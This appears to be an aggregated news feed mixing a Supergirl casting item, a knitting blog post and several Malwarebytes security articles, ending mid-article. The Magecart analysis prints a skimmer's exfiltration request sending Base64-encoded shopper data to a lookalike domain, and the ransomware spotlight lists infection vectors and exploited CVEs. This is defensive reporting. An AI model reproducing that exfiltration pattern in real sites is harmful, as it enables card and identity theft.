SUPERGIRL’S NEW UNIFORM

First Comics News - 3 hours 17 min ago

Once again, Supergirl landed at Comic-Con with another superpowered panel filled with surprises and reveals about the eagerly awaited upcoming season. Perhaps most striking for fans is that the character of Kara Zor-El aka Supergirl (played by Melissa Benoist) will be sporting a new Kryptonian supersuit — the first revamp since her co-worker, friend, and confidante Winn Schott designed her iconic red and blue gear in season one. And two new characters will also be on the scene in National City this season.

NEW SUPERSUIT

The new suit, conceptualized by Supergirl costume designer Victoria Auth and created by Ironhead Studios and Bill Hargates Costumes, follows the evolution of supersuits in executive producer Greg Berlanti’s “Arrowverse,” which has seen redesigns of both the Arrow and Flash suits in recent years.

Regarding Kara’s new look, executive producers Jessica Queller and Robert Rovner said: “We’re beyond excited to update Supergirl’s iconic suit. We think her new image is strong and powerful. We hope the fans are as excited about it as we are.”

NEW CHARACTERS AND SERIES REGULARS

In addition to the first official unveiling of the new Supergirl supersuit, the show’s producers announced that two new characters will be joining the action in National City for the upcoming season: DC’s Andrea Rojas (aka Acrata) and renowned reporter William Dey.

Julie Gonzalo (Veronica Mars, Dallas, Eli Stone) will star as iconic DC character Andrea Rojas (aka Acrata). A polished businesswoman and heir to a Central American tech empire, Andrea Rojas (aka Acrata) is now making a hostile advance into the world of media. Unapologetic and unafraid to make waves, she also holds a mystical secret. Gonzalo will first appear as Rojas in the season premiere on Sunday, October 6, at 9/8c on The CW.

UK-based actor Staz Nair — who is perhaps best known for playing Qhono, a Dothraki warrior loyal to Daenerys Targaryen on Game of Thrones — will play hardened reporter William Dey, an original character created for the series. On the surface, he’s a cynic and a sellout who looks down on Kara’s earnest idealism. Dey’s not interested in making friends, he just wants to get the story — but his ties to the criminal underworld could prove problematic. Nair (Game of Thrones, FOX’s The Rocky Horror Picture Show, AMC’s Humans) as William Dey will also make his debut during the season premiere episode.

Supergirl returns for its fifth season on Sunday, October 6, at 9/8c on The CW. Produced by Berlanti Productions in association with Warner Bros. Television and based on DC characters created by Jerry Siegel and Joe Shuster, Supergirl stars Melissa Benoist as Kara Danvers/Supergirl, Mehcad Brooks as James Olsen, Chyler Leigh as Alex Danvers, Katie McGrath as Lena Luthor, Jesse Rath as Brainiac, Nicole Maines as Nia Nal, Azie Tesfai as Kelly Olsen, Andrea Brooks as Eve Tessmacher, with David Harewood as J’onn J’onzz. Greg Berlanti, Jessica Queller, Robert Rovner and Sarah Schechter are executive producers.

Briefly in a Lake

Yarn Harlot - Fri, 07/19/2019 - 18:46

I am trudging along here – still looking forward (rather desperately) to the day (28 days) from now when the Bike Rally is finished and things shift around here.  I am not even sure what I will do that day, though I’ve reached a phase of hopefulness where I start piling knitting projects up around the house so I can look at them as I walk by. I can only imagine that August 17th is a day that the Wild Knitting Rumpus will begin, assuming I am conscious.  Between now and then I’m trying to get all this done without completely compromising my sanity, family or what’s left of my relationships. (I have given up on the house, but have adopted AlisonH’s tip for floor cleaning from the comments on the last post, so things are better there.)  Last week some friends invited us up to their cottage, and my love for the Canadian wilds being what it is, I managed to find a way to get myself up there on short notice for three glorious days.  (Joe,  Megan and Elliot managed to stay up there longer, but I jumped on the train bright and early on Thursday for a series of Bike Rally Meetings that couldn’t be missed. You can only imagine the bitterness I felt leaving that kid behind in one of my favourite places.)

We spent the few days I was able to be there swimming,  trying to convince Elliot to  go in the lake (he was fine by the end, but resistance was initially high) and l tried to write to you, but I had to use nap time for Rally Business, and usually if he’s awake and we’re together, Elliot says “Gammy?” every 12 seconds, and I am helpless not to answer him.  I wanted to write and say that despite the state of my life (and improved status of the kitchen floor) I did finish my June Socks, and I had a good enough time knitting them that I’d happily start the pair over.

Pattern is Paragon Socks, Yarn is West Yorkshire Spinners Signature 4 ply in Cardamom.

They look fussier than they are to knit, which is something I like a lot in a pair of socks, and the pattern itself was memorizable – though not until the last repeat of the second sock, in my case, but if your head isn’t full of Bike Rally you might have more room for storing that.)

I’d tell you I loved the yarn too- but that should be obvious by now, since I think it’s turned up on the blog about three times in the last year or so.  Great stuff.

I’ve got the next pair of socks on the needles, but they’re just plain self-striping, because I see how things are this month and wanted to make it a little easier on myself.  (I can see now that this would have been a good month to investigate the perplexing world of hand knit ankle socks, but it’s too late now.) I finished the mini-pom-pom neck thing too, so I’ll get some pictures of that, and look! While I was walking around another pair of socks fell off the needles.

Yarn is Cozy Knitter’s “Celebrate the Night” (I think. I’ve misplaced the ball band again, which isn’t surprising since I can’t even remember when I started these, never mind anything else about them.)

Absolutely no pattern whatsoever, I just banged them out. Top down,  round and round, 2.25mm needles, 68 stitches, German short row heels over half the stitches, and my standard toe. (My standard toe probably isn’t yours because I’m opposed to the pointiness, we can talk about it another time.)

Into the long range planning box for them- it’s actually not looking too shabby in there, I remember the last time I did the Self-imposed-sock-of-the-month-club it was an easy Christmas, I was so far ahead. It’s a lovely thing to think about, since I’m so far behind on everything else right now.

Speaking of behind -let’s get some Karmic Balancing gifts done, because you all are amazing.  Team Knit is still inching towards their goals, and it’s you all we have to thank for it.  I  hope we’re going to make it. If you’re wondering what’s going on here read this:  and Team Knit this year is Me, Ken, Cameron and Pato. Please help us spread the word.

First, a wonderful gift from Tanja Luescher, she’s a designer who’s always one of the first in my inbox with an offer to help. We’ve never met, but I think she’s pretty great.)

Tanja is offering 10 ebooks (20 really, but we’ll do another 10 anther time) Kathryn, Sonja, Rita, Karen, Janis, Sarah, Susanna, Cara, Jessica, and Kelly can all choose between Stories of Inspiration, Selfstriping, Hubby needs Socks, The Cat Collection OR you these lucky knitters can create their own ebook of any 7 patterns.  Thanks all. (And I am going to buy the socks one. I think I found the perfect pair.)

Michele wrote and said that she has three gorgeous gifts that need new homes – thanks Michele! Violets by Mary Scott Huff – the entire kit. (Michele loves this a lot, but is a realist about it’s future with her. I hope that Barbara M loves it and has time. 1 skein (1000 yards) of Tanis Fiber Arts pink label lace weight – variegated graphite is the colourway. Michele found out she’s not a fan of laceweight – so off it goes to Tamara G. 2 skeins (420 yards each) of Tanis Fiber Arts red label cashmere/silk twist – mauve blossoms. (Michele didn’t say why these need rehoming, so I assume it’s straight-up crazy generosity.)  Good news Sarah H, these are winging your way!

Mary E Rose is another designer, and Mary’s written to say that she’d like to give away a free pattern to TEN knitters.  I spent some time with her portfolio, and Smocked Leaves and The White Queen’s Shawl are two I’m putting in my queue.

Good luck choosing to  Lesley E, Brooke S, Wendy N, Dari T, Amanda G, Christine E, Nancy S, Kathy F, Sam M, and Cathy W. There’s a lot of amazing patterns there.

Christina has these three beautiful skeins of Titus (in Coal) to give away.  (What a neat yarn, 50% Wensleydale, 20% BFL, and 30% alpaca – most of that from the UK.)

Those three beauties will be making their way to Lisa H. Lisa and Christina, thank you!

Terry’s got two skeins of Knitpicks Hawthorne Fingering in Burnside that she’d rather inexplicably like to give up. (Must be just that she’s nice.)

That’s more than 600m of amazing that will be making it’s way to Julie A.

But wait there’s more! Brooke’s got two skeins of Three Irish Girls Yarn ‘Adore’ sock yarn, in the ‘Everlasting Gobstopper’ colourway, making it’s way from her house to Josephine P’s. I hope it makes her happy.

Still on the sock yarn train, Linda H has two ever so pretty ones – Sweet Skein o-Mine, in the colourway St. Andrew’s Summer – headed to Cathy A. Thanks both!

That’s it for today, a whole whack of gifts done, and I’ve emailed the 27 lucky winners, and the generosity in my inbox overfloweth.  There’s much more to come.  For now, I’m off to look over about 7 spreadsheets that contain more details about a small moving city of cyclists than anyone could ever hope to memorize, and hope to drill enough parts of it into my head to get this thing off the ground. Oh. I also have to figure out the cutlery.  Who knew?

New Facebook ad reporting tool launches in UK

Malwarebytes - Fri, 07/19/2019 - 15:00

Last year, well-known consumer advice expert Martin Lewis decided to take Facebook to court for defamation. The cause? Multiple bogus adverts placed on the social network featuring his likeness, appearing via the ad network Outbrain.

As a trusted face in consumer causes, scammers bolting Lewis’ face onto rogue ads would always be a money spinner. This would, of course, have the knock-on effect of potentially damaging his reputation, especially with tales of victims losing as much as £100,000

By the time he’d seen around 50 advertisements promoting various Bitcoin scams, enough was enough—especially as he felt reporting the ads got him nowhere.

Making bogus ads for fun and profit

Regular readers will no doubt be familiar with these types of bogus ads hawking swiped images of trusted individuals. It’s essentially the same as we saw a while back on compromised profile pages, all promoting some wonderful new money-making scheme courtesy of Ellen. However you stack it up, people are out of pocket.

In Lewis’ case, some of the ads looked like they were from British newspapers, or other established news sources. Many offered up the usual social engineering tactic of a ticking timer: “Get this offer soon before it runs out!” Work-from-home riches, revolutionary opportunities, making huge amounts from “small” investments—every sleazy claim you could imagine were all present and accounted for, and they all were situated next to or above Lewis looking enthusiastic (and talking about something utterly unrelated).

Facebook banned crypto-themed ads, but these Lewis-themed efforts simply replaced pictures of Bitcoin with pictures of him and sent them to cryptocurrency sites elsewhere. The Lewis ads in question were centered on incredibly dubious binary trading scams.

What is binary trading?

It’s a risky form of fixed-odds betting. You either win or you lose. Win, and you get a bump in your coffers. Lose, and you lose everything. They’re not allowed in the EU, which means scammers set up shop outside its borders, claiming to have base of operations in places like London and Paris, and set to work with slick, convincing adverts. As the FCA advice notes, some scammers will even manipulate the numbers in front of potential victims before swiping all the cash and vanishing into the night.

So it is into this maelstrom of potentially damaged reputations, bogus adverts, and incredibly devastating fake Bitcoin scams that Lewis and Facebook went into battle. With what he felt was a lack of responsiveness over the course of a year, off he went to try and get something done about it.

Closing time for bad ads?

In January 2019, Lewis agreed to settle out of court. By this point, Facebook had admitted there’d been “thousands” of these ads across the site. The legal settlement relied on the conditions that Facebook would donate £3 million pounds to Citizen’s Advice to create a UK Scams Action Project, and they’d also launch a UK-centric scam ad reporting tool complete with dedicated team. The donation would take the form of £2.5 million in cash over two years, with the other £500,000 covering Facebook ads presumably promoting the new services.

We have lift-off

A little later than previously advertised, the wheels have finally turned and the promises listed above have turned into tangible reality. Not only is the Scams Action page live, the rogue ad report tool is also active in the UK. Reporting an ad takes a few steps, but is clearly an improvement on no tool at all. Reporting is a case of clicking the dots above any ad, and selecting the appropriate options before sending.

There’s never been a better time to start reporting bogus ads on Facebook. If you see something that looks suspicious, by all means file a report and do your bit to help keep the most vulnerable online away from potentially life-ruining scams.

Threat Spotlight: Sodinokibi ransomware attempts to fill GandCrab void

Malwarebytes - Thu, 07/18/2019 - 17:58

Sodinokibi ransomware, also known as Sodin and REvil, is hardly three months old, yet it has quickly become a topic of discussion among cybersecurity professionals because of its apparent connection with the infamous-but-now-defunct GandCrab ransomware.

Detected by Malwarebytes as Ransom.Sodinokibi, Sodinokibi is a ransomware-as-a-service (RaaS), just as GandCrab was, though researchers believe it to be more advanced than its predecessor. We’ve watched this threat target businesses and consumers equally since the beginning of May, with a spike for businesses at the start of June and elevations in consumer detections in both mid June and mid July. Based on our telemetry, Sodinokibi has been on rise since GandCrab’s exit at the end of May.

Business and consumer detection trends for Sodin/REvil from May 2019 until present

On May 31, the threat actors behind GandCrab formally announced their retirement, detailing their plan to cease selling and advertising GandCrab in a dark web forum post.

“We are leaving for a well-deserved retirement,” a GandCrab RaaS administrator announced. (Courtesy of security researcher Damian on Twitter)

While many may have heaved sighs of relief at GandCrab’s “passing,” some expressed skepticism over whether the team would truly put behind their successful money-making scheme. What followed was bleak anticipation of another ransomware operation—or a re-emergence of the group peddling new wares—taking over to fill the hole GandCrab left behind.

Enter Sodinokibi

Putting a spin on an old product is a concept not unheard of in legitimate business circles. Often, spinning involves creating a new name for the product, some tweaking of its existing features, and finding new influencers—”affiliates” in the case of RaaS operations—to use (and market) the product. In addition, threat actors would initially limit the new product’s availability and follow with a brand-new marketing campaign—all without touching the product standard. In hindsight, it seems the GandCrab team has taken this route.

A month before the GandCrab retirement announcement, Cisco Talos researchers released information about their discovery of Sodinokibi. Attackers manually infected the target server after exploiting a zero-day vulnerability in its Oracle WebLogic application.

To date, six versions of Sodinokibi has been seen in the wild.

Sodinokibi versions, from the earliest (v1.0a), which was discovered on April 23, to the latest (v1.3), which was discovered July 8 Sodinokibi infection vectors

Like GandCrab, the Sodinokibi ransomware follows an affiliate revenue system, which allows other cybercriminals to spread it through several vectors. Their attack methods include:

  • Active exploitation of a vulnerability in Oracle WebLogic, officially named CVE-2019-2725
  • Malicious spam or phishing campaigns with links or attachments
  • Malvertising campaigns that lead to the RIG exploit kit, an avenue that GandCrab used before
  • Compromised or infiltrated managed service providers (MSPs), which are third-party companies that remotely manage the IT infrastructure and/or end-user systems of other companies, to push the ransomware en-masse. This is done by accessing networks via a remote desktop protocol (RDP) and then using the MSP console to deploy the ransomware.

Although affiliates used these tactics to push GandCrab, too, many cybercriminals—nation-state actors included—have done the same to push their own malware campaigns.

Symptoms of Sodinokibi infection

Systems infected with Sodinokibi ransomware show the following symptoms:

Changed desktop wallpaper. Like any other ransomware, Sodinokibi changes the desktop wallpaper of affected systems into a notice, informing users that their files have been encrypted. The wallpaper has a blue background, as you can partially see from the screenshot above, with the text:

All of your files are encrypted!
Find {5-8 alpha-numeric characters}-readme.txt and follow instructions

Presence of ransomware note. The {5-8 alpha-numeric characters}-readme.txt file it’s referring to is the ransom note that comes with every ransomware attack. In Sodinokibi’s case, it looks like this:

The note contains instructions on how affected users can go about paying the ransom and how the decryption process works.

Screenshot of the TOR-only accessible website Sodinokibi victims were told to visit to make their payments

Encrypted files with a 5–8 character extension name. Sodinokibi encrypts certain files on local drives with the Salsa20 encryption algorithm, with each file renamed to include a pre-generated, pseudo-random alpha-numeric extension that’s five to eight characters long.

The extension name and character string included in the ransom note file name are the same. For example, if Sodinokibi has encrypted an image file and renamed it to paris2017.r4nd01, its corresponding ransom note will have the file name r4nd01-readme.txt.

Sodinokibi looks for files that are mostly media- and programming-related, with the following extensions to encrypt:

  • .jpg
  • .jpeg
  • .raw
  • .tif
  • .png
  • .bmp
  • .3dm
  • .max
  • .accdb
  • .db
  • .mdb
  • .dwg
  • .dxf
  • .cpp
  • .cs
  • .h
  • .php
  • .asp
  • .rb
  • .java
  • .aaf
  • .aep
  • .aepx
  • .plb
  • .prel
  • .aet
  • .ppj
  • .gif
  • .psd

Deleted shadow copy backups and disabled Windows Startup Repair tool. Shadow copy (also known as Volume Snapshot Service, Volume Shadow Copy Service, or VSS) and Startup Repair are technologies inherent in the Windows OS. The former is “a snapshot of a volume that duplicates all of the data that is held on that volume at one well-defined instant in time,” according to Windows Dev Center. The latter is a recovery tool used to troubleshoot certain Windows problems.

Deleting shadow copies prevents users from restoring from backup when they find their files are encrypted by ransomware. Disabling the Startup Repair tool prevents users from attempting to fix system errors that may have been caused by a ransomware infection.

Other tricks up Sodinokibi’s sleeve

Ransomware doesn’t normally take advantage of zero-day vulnerabilities in their attacks—but Sodinokibi is not your average ransomware. It takes advantage of an elevated privilege zero-day vulnerability in the Win32k component file in Windows.

Designated as CVE-2018-8453, this flaw can grant Sodinokibi administrator access to the endpoints it infects. This means that it can conduct the same tasks as administrators on systems, such as disabling security software and other features that were meant to protect the system from malware.

CVE-2018-8453 was the same vulnerability that the FruitArmor APT exploited in its malware campaign last year.

New variants of Sodinokibi have also been found to use “Heaven’s Gate,” an old evasion technique used to execute 64-bit code on a 32-bit process, which allows malware to run without getting detected. We touched on this technique in early 2018 when we dissected an interesting cryptominer we captured in the wild.

Protect your system from Sodinokibi

Malwarebytes tracks Sodinokibi campaigns and protects premium consumer users and business users with signature-less detection, nipping the attack in the bud before the infection chain even begins. Users of our free version are not protected from this threat without real-time protection.

We recommend consumers take the following actions if they are not premium Malwarebytes customers:

  • Create secure backups of your data, either on an external drive or on the cloud. Be sure to detach your external drive from your computer once you’ve saved all your information, as it, too, could be infected if still connected.
  • Run updates on all your systems and software, patching for any vulnerabilities.
  • Be aware of suspicious emails, especially those that contain links or attachments. Read up on how to detect phishing attempts both on your computer and your mobile devices.

To mitigate on the business side, we also recommend IT administrators to do the following:

  • Deny public IPs access to RDP port 3389.
  • Replace your company’s ConnectWise ManagedITSync integration plug-in with the latest version before reconnecting your VSA server to the Internet.
  • Block SMB port 445. In fact, it’s sound security practice to block all unused ports.
  • Apply the latest Microsoft update packages.
  • In this vein, make sure all software on endpoints is up-to-date.
  • Limit the use of system administration tools to IT personnel or employees who need access only.
  • Disable macro on Microsoft Office products.
  • Regularly inform employees about threats that might be geared toward the organization’s industry or the company itself with reminders on how to handle suspicious emails, such as avoiding clicking on links or opening attachments if they’re not sure of the source.
  • Apply attachment filtering to email messages.
  • Regularly create multiple backups of data, preferably to devices that aren’t connected to the Internet.

No man’s land: How a Magecart group is running a web skimming operation from a war zone

Malwarebytes - Thu, 07/18/2019 - 15:00

Our Threat Intelligence team has been monitoring the activities of a number of threat actors involved in the theft of credit card data. Often referred to under the Magecart moniker, these groups use simple pieces of JavaScript code (skimmers) typically injected into compromised e-commerce websites to steal data typed by unaware shoppers as they make their purchase.

During the course of an investigation into one campaign, we noticed the threat actors had taken some additional precautions to avoid disruption or takedowns. As such, we decided to have a deeper look into the bulletproof techniques and services offered by their hosting company.

What we found is an ideal breeding ground where criminals can operate with total impunity from law enforcement or actions from the security community.

The setup

Using servers hosted in battle-scarred Luhansk (also known as Lugansk), Ukraine, Magecart operators are able to operate outside the long arm of the law to conduct their web-skimming business, collecting a slew of information in addition to credit card details before it is all sent to “exfiltration gates.” Those web servers are set up to receive the stolen data so that the cards can be processed and eventually resold in underground forums.

We will take you through analysis of the skimmer, exfiltration gate, and hosting servers to show how this Magecart group operates, and which measures we are taking to protect our customers.

Skimmer analysis

The skimmer is injected into compromised Magento sites and trying to pass itself for Google Analytics (google-anaiytic[.]com), a domain previously associated with the VisionDirect data breach.

Each hacked online store has its own skimmer located in a specific directory named after the site’s domain name. We also discovered a tar.gz archive perhaps left behind by mistake containing the usernames and passwords needed to login into hundreds of Magento sites. These are the same sites that have been injected with this skimmer.

Looking for additional OSINT, we were able to find a PHP backdoor that we believe is being used on those hacked sites. It includes several additional shell scripts and perhaps skimmers as well (snif1.txt):

In the next step of our analysis, we will be looking at the exfiltration gate used to send the stolen data back to the criminals. This is an essential part that defines every skimmer and can help us better understand their backend infrastructure.

Exfiltration gate

A closer look at the skimmer code reveals the exfiltration gate (google.ssl.lnfo[.]cc), which is another Google lookalike.

The stolen data is Base64 encoded and sent to the exfiltration server via a GET request that looks like this:

GET /fonts.googleapis/savePing/?hash=udHJ5IjoiVVMiLCJsb2dpbjpndWVzdCXN0Iiw{trimmed}

The crooks will receive the data as a JSON file where each field contains the victim’s personal information in clear text:

The primary target here is the credit card information that can be immediately monetized. However, as seen above, skimmers can also collect much more data, which unlike requesting a new credit card, is much more problematic to deal with. Indeed, names, addresses, phone numbers, and emails are extremely valuable data points for the purposes of identity theft or spear phishing attacks.

Panel and bulletproof hosting

A closer look at the exfiltration gate reveals the login panel for this skimmer kit. It’s worth noting that both google.ssl.lnfo[.]cc and lnfo[.]cc redirect to the same login page.

lnfo[.]cc is utilizing name services provided by 1984 Hosting, an Iceland-based hosting provider. It’s quite likely the threat actors may be taking advantage of it.

The corresponding hosting server (176.119.1[.]92) is located in Luhansk (also known as Lugansk), Ukraine.

A little bit of research on this city shows it is the capital of the unrecognized Luhansk People’s Republic (LPR), which declared its independence from Ukraine following the 2014 revolution ignited by the conflict between pro-European and pro-Russian supporters. It is part of a region also known as Donbass that has been the theater for an intense and ongoing war that has cost thousands of lives.

Amid this chaos, opportunists are offering up bulletproof hosting services for “grey projects” safe from the reach of European and American law enforcement. This is the case of bproof[.]host at 176.119.1[.]89, which advertises bulletproof IT services with VPS and dedicated servers in a private data center.

A host ripe with malware, skimmers, phishing domains

Choosing the ASN AS58271 “FOP Gubina Lubov Petrivna” located in Luhansk is no coincidence for the Magecart group behind this skimmer. In fact, on the same ASN at 176.119.1[.]70 is also another skimmer (xn--google-analytcs-xpb[.]com) using an internationalized domain name (IDN) that ties back to that same exfiltration gate.

In addition, that ASN is a hotspot for IDN-based phishing, in particular around cryptocurrency assets:

Bulletproof hosting services have long been a staple of cybercrime. For instance, the infamous Russian Business Network (RBN) ran a variety of malicious activities for a number of years.

Due to the very nature of such hosts, takedown operations are difficult. It’s not simply a case of a provider turning a blind eye on shady operations, but rather it is the core of their business model.

To protect our users against these threats, we are blocking all the domains and IP addresses we can find associated with skimmers and malware in general. We are also reporting the compromised Magento stores to their respective registrars/hosts.

Compromising vital infrastructure: problems in education security continue

Malwarebytes - Wed, 07/17/2019 - 14:17

The educational system and many of its elements are targets for cybercriminals on a regular basis. While education is a fundamental human right recognized by the United Nations, the financial means of many schools and other entities in the global educational system are often limited.

These limited budgets often result in weak or less-than-adequate protection against cyberthreats. Unfortunately, organizations in this industry are forced to economize and cut the costs of security.

Record keepers

Schools by nature have a lot of personal data on record—not only about their students, but in most cases, they also have records of the parents, legal guardians, and other caretakers of the children they educate. And the nature of the data—grades, health information, and social security numbers, for example—makes them extremely valuable for phishing and other social engineering attacks.

Ransomware can also have a devastating effect on educational institutions, as some of the information, like grades for example, may not be recorded anywhere else. If they are destroyed or held for ransom without the availability of backups, the results can be disastrous.

Special circumstances

Organizations in the education industry have some special circumstances to deal with when trying to protect their data and networks:

  • Many schools use special software that allows their students to log in both on premise and remotely so they can view their grades and homework assignments. These applications occasionally get hacked by students.
  • Growing networks enlarge the attack surface. Modern education requires children of young ages to learn computer skills, so many students are connected to the institution’s network at once.
  • If a tech-savvy student wants a day off, claims that he couldn’t access his homework assignments, or simply wants to brag, what’s to stop him from organizing or paying for a DDoS attack? Kids will be kids.
  • Schools often also harbor a mix of IoT and BYOD devices, which each come with their own potential problems. Some schools have noticed a spike in malware detections after holiday breaks, when infected devices get introduced back into the school environment.

The sensitive nature of the data and having an open platform for students at the same time creates a difficult situation for many educational institutions. After all, it is easy to kick in a door that is already half open— especially if there is a wealth of personally identifiable Information (PII) behind it.

The current situation

An analysis in December 2018 by SecurityScorecard ranked education as the worst in cybersecurity of 17 major industries. According to the study, the main areas of cybersecurity weaknesses in education are application security, endpoint security, patching cadence, and network security.

In our 2019 State of Malware report, we found education to be consistently in the top 10 industries targeted by cybercriminals. Looking only at Trojans and more sophisticated ransomware attacks, schools were even higher on the list, ranking as number one and number two, respectively.

So, it shouldn’t come as a surprise that according to a 2016 study entitled: The Rising Face of Cyber Crime: Ransomware, 13 percent of education organizations fall victim to ransomware attacks.

Malware strikes hard

Like many other organizations, educational institutions are under attack by the most active malware families, such as Emotet, TrickBot, and Ryuk, which wreaked havoc on organizations for the better part of the 2018–2019 school year.

Last May, the Coventry school district in Ohio had to send home its 2,000 students and close its doors for the duration of one day. The cause was probably a TrickBot infection, but the FBI is still busy with an ongoing investigation.

In February 2019, the Sylvan Union School District in California discovered a malware attack that made staff and teachers lose their connection to cloud-based data, networks, and educational platforms. Reportedly, they had to spend US$475,700 to clean up their networks.

On May 13, 2019, attackers infected the computer network of Oklahoma City Public Schools with ransomware, forcing the school district to shut down its network.

But it’s not just malware that educational institutions need to worry about. Scott County Schools in Kentucky paid US$3.7 million out to a phishing scam that posed as one of their vendors.

Unfortunately, that’s money many school districts, especially those in impoverished communities, cannot afford to pay out. So when can they do to get ahead of malware attacks before valuable data and funding fly out the bus window?

Recommended reading: What K–12 schools need to shore up cybersecurity Countermeasures

Given the complex situation and sensitive data most educational organizations have to deal with, there are a host of measures that should be taken to lower the risk of a costly incident. Recognizing that many schools must divert public funding to core curriculum, our recommendations represent a baseline level of protection districts should strive toward with limited resources.

  • Separate educational and organizational networks, with grades and curriculum in one place, and personal data in another. By using this infrastructure, it will be harder for cybercriminals to access personal data by using leaked or breached student and teacher accounts.
  • DDoS protection. DDoS attacks are so cheap ($10/hour) nowadays, that anyone with a grudge can have an unprotected server taken down for a few days without spending a fortune. The possible scope of DDoS attacks has been increased significantly, now that attackers have started using Memcached-enabled servers. To put a stop to outrageously-large DDoS attacks, those servers should not be Internet-facing.
  • Educate staff and students about the dangers they are facing and the possible consequences of not paying enough attention. Teachers can absorb cybersecurity education into reading comprehension lessons, and staff could benefit from awareness training during professional development days.
  • Lay out clear and concise regulations for the use of devices that belong to the organization and the way private devices are allowed to be used on the grounds.
  • Backups should be up-to-date and easy to deploy. Ransomware demands are high and even when you pay them, there is always the chance the decryption may fail—or never existed in the first place.
  • Investing in layered protection may seem costly, but compared to falling victim to malware or fraud, the investments is worth it.

In fact, all of these measures will cost money and we realize that will need to come out of a tight budget. But funding, or the lack thereof, can not be an excuse for weak security. Cybercrime is one of the biggest chunks of the modern economy. And guess who’s paying for most of that? Those who didn’t invest enough in security.

What a strange paradox that one of the best weapons against cybercrime is education, but that organizations in education have the biggest problems with security. We at Malwarebytes, with the help of educational leaders, aim to change that.

Stay safe, everyone!

Hi, honey. It’s mom. My phone is acting funny again.

Malwarebytes - Tue, 07/16/2019 - 17:14

Whether it’s setting up access to a Netflix account on a smart TV or enabling personal email on an iPhone, some people—of all ages—have a hard time figuring out user-friendly technology. However, often times it’s older generations that have to turn to their progenitors for everything from uploading pictures to the cloud to deciding whether it’s safe to open an attachment.

Despite results from a 2018 study from the Pew Research Center, which found that there has been “significant growth in tech adoption in recent years among older generations—particularly Gen Xers and Baby Boomers,” Millennials and Gen Zs field many “how do I?” technology questions from their aging parents.

While older generations are embracing technology, such as smart phones and smart TVs, the constant need to update “can be difficult for seniors to keep up with,” according to Senior Living. “Often seniors need help from caregivers or cell phone technicians to understand new features to their devices.”

The frustration from older users over rapidly-evolving new technology, updates to software, and a laundry list of security best practices to keep track of—like needing 27 different passwords—can lead to tech and security fatigue, which causes users to bury their heads in the sand instead of having to keep up with it all. What’s easier, then, is calling up a younger friend or family member for help.

That’s all well and good, but do younger generations always know the right thing to do? And are they sick of serving as the family IT guy? How can disparate generations reconcile their relationship with technology and with each other while still staying safe?

My phone is acting weird

When seniors experience user challenges, they most often turn to the Internet or their families for tech support, according to 2019 Link-Age Connect Technology Study. Nicolas Poggi, who works for a software security firm in Santiago, Chile, agreed, explaining that his 54-year-old mother is constantly reaching out with questions about her phone.

“I think the main thing that keeps coming up is the fear that everything has a virus in it,” Poggi said. “I usually get a call or a sneaky message from Mom saying, ‘Hey, I think my phone has a virus or something. It’s acting odd, can you give me a hand?'”

Sometimes the problem is one of misconfigurations. “She’s misconfigured half of her settings by accident and the other half trying to fix the initial misconfigurations,” Poggi said, adding that his greatest technology concerns for his mother are privacy and security.

Yes, privacy and security are important concerns for most technology users, but Linkage Connect explained that when it comes to the elderly, “the biggest barriers that keep them from adopting new technology today are the complexity, understanding it all, the cost, and having no easy way to learn it.”

Scammers target older users

Verizon’s 2019 Data Breach Report found that 32 percent of data breaches involved phishing, where cybercriminals send emails pretending to be from reputable companies to coax people into revealing personal information, such as passwords and credit card numbers. Not surprisingly, young people are concerned that their aging parents could easily fall victim to a phish or some other type of fraudulent scam, especially because scammers are keen to target older users, whom they believe to be more vulnerable.

When asked about her perceived ability to detect fraud and scams, Poggi’s mom said, “I think there are obvious ones, like the email ones or those images that promise to make you a millionaire. Aside from that, I don’t really know what other types of scams are out there. It worries me that I don’t know what to look out for. I know how to keep my social media private, but I don’t really know who is looking at what or where.”

Poggi agrees with his mother’s assessment, but worries that the areas where she lacks awareness could lead to compromise.

“I don’t think their generation adopted technology in the way we have,” said Poggi. “They are way behind with best practices. Basic things like password hygiene, phishing, fake websites, fake offers, still get to them. Still, they seem to have adopted enough technology to make for an awfully dangerous combination: a lack of security plus online banking plus social media.”

I love my phone! I hate my phone!

Older generations are increasingly becoming major consumers of connected devices. In fact, 94 percent of Americans over the age of 50 use technology to stay connected with their friends and family members, according to the 2019 Tech and the 50+ Survey published by AARP.

Yet, many in the 50+ age group have a love-hate relationship with technology. The Linkage Connect survey covered a wide swath of participant ages—nearly half a century, actually. Some said they had no use for technology. Others said they couldn’t imagine life without it. Most respondents appreciated being able to use technology but found the learning curve frustrating.

“Finding time to learn to use and to fix technology is the biggest problem,” said one woman in the 75–79 age range.

A woman nearly 10 years her senior said, “I find it frustrating when setting up a new electronic device such as a printer, computer, phone, etc. Instructions are supposed to be simple, but there always seems to be something missed. Need a person to walk me through it.”

While others noted their reliance on family to help them navigate the complexities of their connected devices, one woman in her sixties said, “I find it interesting, but the advancements come so rapidly, it is hard to keep up. And the expense is ridiculous.”

Though technology admittedly makes some aspects of life simpler, another 75–79 year old woman said, “At times, I feel that if I have to learn one more thing I will scream, but it is keeping me current with the world.”

Convenience, affordability, and simplicity

According to AARP, technologies targeting, “the health, wellness, safety, and vitality of adults 50-plus are proliferating.” Technology innovators obviously crunched the numbers from the Census Bureau in preparation for January’s CES 2019 in Las Vegas, where many of the devices introduced for older generations ranged from awesome to odd.

As people age, however, they want to make things simpler. Simplicity and ease of use should be the goal of technologies and devices that are designed for older generations. The Linkage Connect study noted that, “With the 50+ population representing approximately 115 million in the United States alone today and the expectation for that number to reach 132 million by 2030 (from the US Census Bureau), it is now more important than ever to understand the older adult consumer.”

No one wants to fumble through learning how to use a connected device. If it’s too challenging, it’s useless. Asking for help can be embarrassing for older generations who have to turn to their children or grandchildren to learn how to use a new gadget, which is one reason why the American Society on Aging advised, “It is imperative that in addition to making technology more intuitive for older adults, training older adults in how to use technology must be a national priority.”

What’s important to remember is that education needs to be accessible and personal—at any age. In order to enable adoption that improves the lives of elders, manufacturers, and younger helpers, need to meet them where they are.

“They want to learn ‘hands on’ with others. Teaching older adults how to use these devices, in the manner in which they want to learn, could prove to benefit them as they age,” the Linkage Connect study said.

Older adults who feel overwhelmed should feel free to take the initiative to ask for help. And younger family members or friends should be patient and take a beat to not only fix the problem, but walk people through it. In the end, both generations can benefit from the extra security awareness practice.

Meet Extenbro, a new DNS-changer Trojan protecting adware

Malwarebytes - Mon, 07/15/2019 - 14:54

Recently, we uncovered a new DNS-changer called Extenbro that comes with an adware bundler. These DNS-changers block access to security-related sites, so the adware victims can’t download and install security software to get rid of the pests.

